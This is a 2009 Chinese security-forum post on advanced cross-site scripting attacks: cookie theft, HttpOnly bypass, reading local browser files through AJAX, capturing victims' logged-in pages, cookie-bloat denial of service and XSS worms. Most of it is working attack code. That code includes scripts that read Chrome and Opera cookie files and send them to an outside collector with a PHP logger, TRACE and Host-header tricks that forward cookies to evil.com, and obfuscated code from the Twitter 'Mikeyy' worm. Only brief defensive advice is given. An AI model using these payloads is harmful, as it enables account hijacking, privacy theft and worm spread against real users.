XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页0 T5 F/ G6 d& @1 U1 G
本帖最后由 racle 于 2009-5-30 09:19 编辑 5 G% y7 ^2 i8 l, R# i
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XSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
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http://bbs.tian6.com/thread-12711-1-1.html
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-------------------------------------------前言---------------------------------------------------------7 h: d9 G2 `2 d: Z
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- B: q9 B0 q$ ~' J8 r* m本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.
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如果你还未具备基础XSS知识,以下几个文章建议拜读:9 \1 ^( N* G4 i6 ]
http://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/ JavaScript中文简介
( ?' R2 O# b4 U3 ahttp://www.google.com/search?q=XSS+%D3%EF%BE%E4 XSS语句大全! k& I& L Y" [; a
http://www.google.com/search?q=XSS+%C8%C6%B9%FD XSS语句绕过
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http://bbs.tian6.com/thread-12239-1-1.html 突破XSS字符数量限制执行任意JS代码 |* T/ c, y% z5 R: X3 { i
http://bbs.tian6.com/thread-12241-1-1.html 利用窗口引用漏洞和XSS漏洞实现浏览器劫持2 u1 y# S1 k% o, q: w& [- @
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如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.4 Q$ z( f- `9 s
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希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.
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如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS 6次XSS蠕虫版本变化,
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Baidu xss蠕虫 感染了8700多个blog.媒体影响力,关注度巨大# H6 n# c. x3 f
8 p$ x* S* v. A1 h: I! _# e4 R( L' jQQ ZONE,校内网XSS 感染过万QQ ZONE.
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OWASP MYSPACE XSS蠕虫 20小时内传染一百万用户,最后导致MySpace瘫痪7 V; e! j. i$ T( q9 V
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复制代码------------------------------------------介绍-------------------------------------------------------------2 Y; g5 T7 ^- Q
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什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.
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0 ]" Q* j5 n/ ?: n' F6 N跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息(Cookie),由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.6 C/ H% k @( Z: K# U+ q) y, R6 F
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- W: M( C9 b9 B' g, F如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
# @* B, |8 O" I复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.* h! g6 `( Z0 `' [5 n) U2 ?8 R
我们在这里重点探讨以下几个问题:- B: a- T1 }% W( V! k
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1 通过XSS,我们能实现什么?2 K1 K+ ~5 _' F
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2 如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?
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3 XSS的高级利用和高级综合型XSS蠕虫的可行性?
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8 s: V6 M7 z# o, }0 |! Y; o" D4 XSS漏洞在输出和输入两个方面怎么才能避免.1 S! I% [; F9 ?5 ]- v
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- X% e" v4 B* ] Z, ?. ?3 [------------------------------------------研究正题----------------------------------------------------------
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2 |3 u: e7 O+ O) B ]: \3 g( d/ U9 S7 y$ U通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.& j6 O S' T/ `
复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫$ q, d3 z% Z7 k4 Z
复制代码XSS漏洞在输出和输入两个方面怎么才能避免.& p) a! F9 d* h7 R; `9 `+ w m
1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则., E# p) ^# E$ V% } {
2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
% {1 V, M0 W9 D% [1 i" K3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.' L- Z$ X+ {9 O6 W: {- h8 i
4:Http-only可以采用作为COOKIES保护方式之一.' S0 D) e1 D9 x7 y4 T- S# a0 z
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(I) AJAX在不同的浏览器下的本地文件操作权限 读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)
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9 i) E- ^" W7 k, {4 n, z4 u我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息: 1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的,看来MS对IE这类安全风险比较重视。(这有一些问题,随后修正!)3 F8 z- |: D7 R+ N k! v& `1 \' Y
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2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。
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3: opera9.64及以下版本允许通过指定url为file://协议进行访问;如果文件在当前目录下,则不需要指定file://协议;如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。
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4: 基于webkit内核:google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
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function ajax_obj(){ F- U, V9 \2 I8 w7 V+ R: r
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var request = false;
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if(window.XMLHttpRequest) {1 J* t0 ^) ]5 X" k
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var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
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'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];2 D( t, n+ M# V* x
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for(var i=0; i<versions.length; i++) {. `$ K0 A0 [* r# u/ y' E$ @' ?
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try {
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}
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}
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return request;: f t( }9 g$ Q2 k
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function _7or3(_m,action,argv){
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if(_m==" OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
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}
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var txt=_7or3("GET","file://localhost/C:/11.txt",null);! c8 Y0 ~7 m1 k" D. [# \
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2 L$ Z. K* I0 O9 P1 F6 Q0 r function ajax_obj(){
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if(window.XMLHttpRequest) {& O5 g# A7 N% r9 z, m9 `- T- e. q# G8 ^
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request = new XMLHttpRequest();* ?! e) v" k" K% L$ O) V5 X
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} else if(window.ActiveXObject) {8 Z2 ~& l. N3 ~! @; k$ X
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var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',2 B: C* e3 u y
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! Q; R: k. M) e6 w) a* N for(var i=0; i<versions.length; i++) {6 o# a5 u+ }& T! `! f! O: v9 Z+ g
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request = new ActiveXObject(versions);4 `& {/ G1 I6 z0 b: J" y
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5 V+ m% n! F1 Y* ~# y3 x! R _x.open(_m,action,false);
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if(_m==" OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
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_x.send(argv);
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</script>
0 p" M2 ~ w1 z" u* f f1 n复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”1 P- o0 ^) ]' e' n
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# ]* L6 X' y1 o( b+ JChrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"
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<?
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/* - F* p2 G* W1 y; J% M5 P
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Chrome 1.0.154.53 use ajax read local txt file and upload exp ; X" @; A! j7 \4 I" I! ]! ~% j5 _
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author voidloafer@gmail.com 2009-4-22
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http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.
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$ S3 Y2 z% D) n! b( J8 E8 c% Y' i' Qheader("Content-Disposition: attachment;filename=kxlzx.htm");
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header("Content-type: application/kxlzx"); : u9 J1 N: E4 u* @4 k$ L. P
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/* 6 A7 u7 p# U4 j, Y% n1 _
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set header, so just download html file,and open it at local. : t9 A" z' R' F) j
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1 x' _. ~1 U4 h<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method=" OST">
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<input id="input" name="cookie" value="" type="hidden">
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3 X, l1 ]9 [- _0 n; K<script>
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function doMyAjax(user) 2 C" r' G3 W$ A$ f Y5 R" x' E9 Z
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var time = Math.random(); k: K. X/ e! e& o j( R$ i
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/* 5 U: I; p8 ~0 z7 F% m
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the cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default ( Q3 j" c5 x7 B, W9 w Z/ M5 M
$ e& t- s4 W. j2 _4 E% U# Band the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History , Y2 i7 \% Q7 C! b
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and so on...
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var strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;
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: G. w' O% o8 e0 f' ~9 C* CstartRequest(strPer);
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}
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& z# O' W- n/ W6 Y9 ?$ N/ s hfunction Enshellcode(txt) ' D6 ~4 @, C( O7 F" [' h! f
- u" f. Q! |9 t: V0 c, S+ n{ $ a- }( E8 A8 v: K) x. T9 Q) ]( f
6 X% v: z- O2 bvar url=new String(txt); 7 @. `3 t, [. e; n
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var i=0,l=0,k=0,curl=""; 4 ]! T r- [8 X V/ S/ V
; z3 p6 h% H2 u+ i6 z! }
l= url.length;
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. x2 ~( R V9 ]0 H Y- \for(;i<l;i++){ 3 M3 M/ X$ t% O( p
1 w0 y0 j+ D2 S8 |k=url.charCodeAt(i);
$ I7 J& {+ t; S/ Z7 H3 f2 n. y, P
% q' w& J# K5 w5 cif(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);} $ L* [1 ?& I/ X- h+ m5 }. S
! N4 t$ c6 G3 {+ _0 m9 h; A% h9 w6 F& ]if (l%2){curl+="00";}else{curl+="0000";} 9 o' k2 L: L, O9 p8 C" {* b
( o+ r' d" t' B( A" s, P! _4 Mcurl=curl.replace(/(..)(..)/g,"%u$2$1");
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return curl;
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} + v# D! y: ]% Q( X1 D9 Q8 U( w
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var xmlHttp;
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function createXMLHttp(){
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if(window.XMLHttpRequest){
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xmlHttp = new XMLHttpRequest(); % |% m: g7 D5 J, m$ F1 r( j
, h0 f9 b( j% L9 `8 u$ \ }
/ G! M3 d m# U7 } w5 ?) H& n7 H
9 w7 t& b" m( d8 z! f% X else if(window.ActiveXObject){
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xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
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} 2 T7 c* E J- ~# U
0 H0 b- z( [6 N5 ~ B}
% T4 O( ?# T, ?( Z1 M* y; I- j5 I5 V. a2 f' p# n% D2 X" M) j
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' ^0 K" c9 g1 C+ k4 Pfunction startRequest(doUrl){ " s% Z8 O7 e5 c) z1 ^/ l
d8 N, G) p7 S& P7 L& H) W
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$ X6 ~' L& k5 O8 r. W
createXMLHttp(); : e0 E" ?5 `% N! i8 |6 [1 H, a
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# q9 T* S9 k, T# z9 }: a
xmlHttp.onreadystatechange = handleStateChange;
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xmlHttp.open("GET", doUrl, true);
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xmlHttp.send(null);
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1 K. e2 }0 G5 c3 c/ N: @; A
9 {; u8 i1 q1 i3 y- Q/ z% x: A# I) I- W; X* G$ @: B
} : c( q! A4 `* q `
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* B( W% M& ]; e4 O* R- k
" \( }; o* i g' tfunction handleStateChange(){
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9 W. X& Z+ U1 N' ^! K4 L# M if (xmlHttp.readyState == 4 ){
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& i/ }1 `7 Z2 G var strResponse = "";
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* Y* B7 j2 o6 u5 s# Q9 X5 s setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000); 2 E7 y) E8 W$ z* p T) B9 S6 [
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} - A5 ~3 v# ~& {" b* Y
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}
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function framekxlzxPost(text)
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4 O( H' w8 n$ v" F) V{
8 I% t; b3 ?; @7 i
# r& F$ ~ P4 y+ {: f document.getElementById("input").value = Enshellcode(text); 1 @/ S; f# k( Q8 r- M/ R
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document.getElementById("form").submit(); 5 O- I9 u% I0 ], E+ p
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} 9 d3 w( b6 P+ q0 L0 u% z' z
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1 q9 h5 O' X. }
: \4 H( }; O, ^1 `) F6 z/ X; Z$ adoMyAjax("administrator"); ! ]7 g5 u; N. L; x
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# a: R3 L, z+ k% j0 L; I</script>
6 q+ l& r# ]( L8 X$ T% D6 f复制代码opera 9.52使用ajax读取本地COOKIES文件<script> - d3 a; h* Q4 ?
# I; O( @3 F) Yvar xmlHttp;
5 {9 m ~* b1 K! N8 ^$ ?
9 e8 z9 n9 q; p; D/ X) efunction createXMLHttp(){
3 z) e. c5 G! ^6 P4 x( ^( X/ w3 n8 ]2 ~/ @- e- {
if(window.XMLHttpRequest){
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xmlHttp = new XMLHttpRequest();
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}
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else if(window.ActiveXObject){
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xmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); ! z: ?9 w; F& i" i% }$ B1 `
3 C7 h/ |1 q& f- j4 Q
} & l& h) U0 _% \
0 S& W9 q) f/ S+ g! a; ^8 T/ p! n
} & @3 k- L5 G! u( ]9 I- j
! l3 l% b7 v' o1 R+ b. O/ `- B: Y% Y
3 O( u4 D+ a! Y* X" g/ Z
S( Y; X& N* G9 s7 afunction startRequest(doUrl){ L8 {) g% {, y0 S. i- O
2 k, i1 n1 Y- w
6 h2 j% \ A+ A1 l2 e$ ^ L: b' J2 [) e7 j# W
createXMLHttp(); * r. {: b n1 i* o R
3 g( p7 T$ f* {
7 _/ F) l1 G J9 x2 H
5 o$ W& {8 h6 N8 Y' M xmlHttp.onreadystatechange = handleStateChange;
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! X1 X3 y& T7 e; H0 |
, H2 a( u) F9 A/ u& L' a xmlHttp.open("GET", doUrl, true);
5 _+ j' e; |$ o2 ~
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# l# H' a" A8 A: c6 ~) L6 f, S, V U xmlHttp.send(null); 0 X8 f9 H6 R: {
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9 d. v. B8 z, _; X, O ]} 8 K, C* G7 ^3 f1 b
1 p+ z: W) {. r% R/ G 7 I. |9 N' o8 g1 J3 r
" i! g+ }/ j$ P- G% J Dfunction handleStateChange(){ " A; P) ?3 p6 Z9 `6 P, v
7 ]& J, G+ a A* t9 Y if (xmlHttp.readyState == 4 ){
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var strResponse = "";
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setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);
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+ z. {: z, s' y; L 6 r" g; d1 `( }; G" A5 F
# [5 B+ C- q2 r/ e) a$ S4 n0 n
}
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} , p' X: L5 G; q* o7 Y' X( \) h
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function doMyAjax(user,file) / m ?+ Y, d' z9 K: o
1 n/ Z0 i& b9 h+ x7 S# F{
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: H5 N8 l1 F& _2 V6 C2 H6 F% i var time = Math.random(); e& q9 Z7 K1 O' z3 {$ K# `
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, P- v& h; A) t( F& ~: ?% a4 ` var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;
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# G \6 r. T4 ?# E startRequest(strPer); 6 c" `: @$ \' P
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} ( [/ W+ t, H4 z6 _
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( o3 b& ^+ y8 H$ K, O0 S
$ r4 p6 N+ g; w t4 [function framekxlzxPost(text) 5 M$ H% ]& o$ r
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) c- G1 g$ {1 J, B; l
document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text); 2 e2 r# U+ x4 a. s( T3 S2 j8 g5 ~! R
8 t( q0 F6 \+ g) f alert(/ok/);
8 W# F$ [8 S5 O3 L9 c4 |& h! `- ~& O# f9 ]6 u* i& ?. q) r* Z
} : U8 c6 k$ _3 ~) J
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E2 g9 ]/ m" @/ @doMyAjax('administrator','administrator@alibaba[1].txt');
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</script>0 F, d) s4 I" P/ a
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$ J. m3 _9 n5 J2 F# X/ w7 r) ~a.php
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<?php
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$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"]; : B( f" J/ l6 X" d4 ?3 k8 M" _; E
0 `; p. k! D$ G$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"]; # D$ p5 ?: h5 k1 ^: Y! Y
) h6 H5 W* Z/ o# L- y # ?+ ^* C8 f! c* x3 @3 z9 Y
. l6 w }1 m/ J/ }$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb"); / S) P- q8 O9 F& `+ g' S" n
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fwrite($fp,$_GET["cookie"]); . d" v3 {) L/ p
# L) h, I3 ^, D9 A; bfclose($fp); 3 r, ~& L( I' \# m0 ^$ w% _
# Q0 h7 S0 N2 ^9 c) I! x1 _6 e?>
3 C- ?: e5 l2 i( D复制代码(II) XSS截屏-镜象网页与XSS实现DDOS: V% W5 S" d3 ]" u) q/ V% j; T. O' r$ b
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或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
: j/ N8 _+ A3 ?# [利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.; Y7 ~5 Y/ I8 n6 V: v( [$ i) y$ B
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代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);
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% K; o# y8 W: n//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);; N: C* ~! }! `7 G; n
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//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);
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function getURL(s) {$ ?/ N2 w4 a0 c5 j& ?
? A; d1 `: {2 I; y1 }var image = new Image();# p0 C+ K- K- j! }2 A9 `
# o0 k# h( ^3 p, ?
image.style.width = 0;
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5 Q8 T- E+ G( j$ qimage.style.height = 0;5 e# [' ?: }, Q# T9 P
4 G; g6 M( T6 x6 B& D; u/ Nimage.src = s;
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}
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$ H& i2 Y* c. S* v7 BgetURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
' N |7 @7 R1 W" x. h) L# G8 R复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.) G* j5 O q0 }- m- r4 [
这里引用大风的一段简单代码:<script language="javascript">
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. z8 v& V3 Z# }6 R. s V& Lvar metastr = "AAAAAAAAAA"; // 10 A
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var str = "";, s! V7 O# K$ k3 ?! {$ [$ J4 c
0 Z ~; }4 k0 wwhile (str.length < 4000){. e& P" q9 A* u4 O# G
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str += metastr;* v8 ^ P8 N _* o& ?
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document.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;"; // 一些老版本的webserver可能在这里还会存在XSS
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</script>8 y" S* ~3 `. |! k! f& t1 ^8 y
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详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html, `! ?& S# P6 j- N$ y. h
复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.- e/ t. ^- L' ]
server limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150
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0 g2 Q0 l7 R2 Q. z) q假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
9 c4 n& H' p5 X- d8 K攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.+ p: ]; S" d# V, @
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(III) Http only bypass 与 补救对策:
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什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性,用以阻止客户端脚本访问Cookie./ f6 j% i, ?: ?1 `7 W$ g* B
以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">; i* H3 f8 H" R- g( `1 N
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<!--/ `+ f% ]7 G; g$ W% ^5 w, q
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function normalCookie() { 4 u6 i5 L+ d3 N+ Z
! S( q! f* {, d0 m1 ?* tdocument.cookie = "TheCookieName=CookieValue_httpOnly"; ' P8 m, T8 n; R% I+ L c
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alert(document.cookie);
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( a! _3 |( S' Q, C2 j# W( b6 n2 K}
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function httpOnlyCookie() { * S7 r' ^8 @% E: W; M: Q- ?3 L
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document.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly"; + D! S; T* \3 @+ G0 |! R# C, k+ H' z
S' w' F- w# J1 W1 palert(document.cookie);}
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?% w( d7 P! d2 W//-->1 s$ }( l$ z! M3 y- T
- y& r/ X* C/ E" e</script>
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+ D M8 \1 b% B0 Y<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>* K6 S S7 p' V, H$ Q1 o& M
1 \% B. M. r: s% X+ L& a" l) Z, j3 ?
<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>1 ?: u" m" A) z
复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>, g$ } j/ B# P: W" L. @6 I
7 M1 N+ [5 }6 K$ y9 w5 i) R) F" N# n4 {2 T( K
6 o# F1 R2 d$ J0 u* Q* z) z3 c( `) svar request = false;0 W6 X$ l8 S, n0 ~
5 G- `7 t: h. W, g7 s8 P# y- Z if(window.XMLHttpRequest) {! y9 h+ G, q; J) _1 v# V9 Q+ _
4 n% Y! T* u+ w4 [& z) _
request = new XMLHttpRequest();
9 K( s# U- G ^. V# R/ B4 @5 \9 m. W3 a9 U' t8 M8 s$ w
if(request.overrideMimeType) {' n% Y+ v1 g1 g4 p$ n
; m. I( i4 C% t3 Z5 X9 d7 l request.overrideMimeType('text/xml');/ x1 c) ^ p2 G! ?' P
N& h2 T3 N! l0 J3 o; F }8 }8 T' A! X& f( Y! N9 n
c0 M0 N3 M$ Y } else if(window.ActiveXObject) {
2 W! Z& T9 w2 L
+ n# `" p* t; T var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];3 R8 E: h6 i2 t- v' [$ [( G
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for(var i=0; i<versions.length; i++) {
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- s& B4 `5 `+ a5 V1 ~$ t; b try {) \6 k9 _3 c; S5 G" d$ L. s
4 t/ Z& Q; _( g2 j: A' K request = new ActiveXObject(versions);
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} catch(e) {}) N" O( R/ P' k0 ?6 x6 c
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6 y/ ?8 `, x2 Z6 z9 s }
+ I9 E) S* ^- ^ S6 D" F/ ^/ U( B7 x
xmlHttp=request;# M, z# K! O& [: @/ Q3 A! E" ^
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xmlHttp.open("TRACE","http://www.vul.com",false);
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xmlHttp.send(null);/ j6 o. e$ e0 n6 m$ W; Q
( B s0 L: U2 l; H1 |xmlDoc=xmlHttp.responseText;
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alert(xmlDoc);
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</script> a- g! c% o" u* h2 p
复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>' ]* v8 ?( G, R# f* N% h
6 @+ U+ p5 e; q( o! w5 o g2 [var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
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2 B6 O5 x5 g7 M+ ^6 AXmlHttp.open("GET","http://www.google.com",false);
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& Y5 w( x9 m6 N% WXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
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, }3 E: y' K. vXmlHttp.send(null);& v8 O' @/ J2 V g
, G9 C+ F6 }, e$ gvar resource=xmlHttp.responseText
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resource.search(/cookies/);
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......................
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</script>
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- A2 s+ E7 c* o" y1 d7 O( ?
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! G8 Y! ^0 ?. u( N0 Z
如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求
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& R% M! X5 W8 Q. ][code]$ q ]7 D( Y) o( x" k
/ r7 J' B# Z, N6 o/ rRewriteEngine On
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RewriteCond %{REQUEST_METHOD} ^TRACE2 Q( P6 S2 d! C4 E/ ~
; R% e) }- j9 \& ~RewriteRule .* - [F]
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0 L* L% ~, g7 P$ V
' m' s' d* l* x/ O% w: S XSquid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求
$ \$ _4 f* b: z& z0 h# {1 i: K6 R3 F# s7 K# D" U/ z
acl TRACE method TRACE
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' y8 y% x8 o& i% F0 f...0 ^1 u, W* ?+ A1 Q
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http_access deny TRACE
0 D" H& ^; u, v# R* { m复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>
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. J0 A2 @. B$ c+ `# L5 y; C% Nvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
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XmlHttp.open("GET","http://www.google.com",false);
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XmlHttp.setRequestHeader("Host","www.evil.com/collet.php"); {( C- N+ _) ~
9 U, H8 `4 o: Y4 _4 xXmlHttp.send(null);0 y% R6 t( I6 W& p4 Y; @' W
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</script>
, T1 [ S) E" v3 G复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>6 w# n7 J3 `0 H# N+ O7 }& R \
6 j2 h* D. E# W, Svar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");! t/ q. y, r$ r9 _ I
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9 k: {2 v- F) d9 ]1 J8 Q5 }
5 O8 q4 e5 `( H& j1 a: U& d; q# iXmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);( z t9 C6 I7 F# g1 G5 g2 x/ Y0 [, O
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XmlHttp.send(null);
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' @0 S/ d; y. d+ Q3 f3 Z0 t<script>
' I. v8 S8 D/ S8 u1 N复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.6 N( p$ W* V* B. J% d
复制代码案例:Twitter 蠕蟲五度發威$ `! n5 X1 V, e) y
第一版:
; O7 G, D4 Y1 F* ?6 @' q' U! p 下载 (5.1 KB)' ?6 `$ x3 n7 G, R. K6 g
' b' I1 j; O) ^4 t6 天前 08:27
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" @4 }& Q. ~6 z0 j. z3 l8 R2 w9 O第二版: 1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", " OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", " OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];
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2.
, Y/ i. f9 X0 ^: f5 ^
2 `/ x$ z# K6 _8 E' o3 u ~ 3. function XHConn(){ ( s8 `- Q3 m4 X/ g' g
% J/ Y; \+ y3 `% [ 4. var _0x6687x2,_0x6687x3=false; % s9 r% X* I4 U; ~) P/ H/ P' V8 N
2 @, } `+ V8 t. A% w8 ~/ P; N
5. try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }
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6. catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); } - \* b- Y% }# w \4 h. P
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7. catch(e) { try { _0x6687x2= new XMLHttpRequest(); } 9 f% }+ V) J1 `9 f* J: Y
0 _/ K& I4 S) q/ ]2 T0 I' a 8. catch(e) { _0x6687x2=false; }; }; };
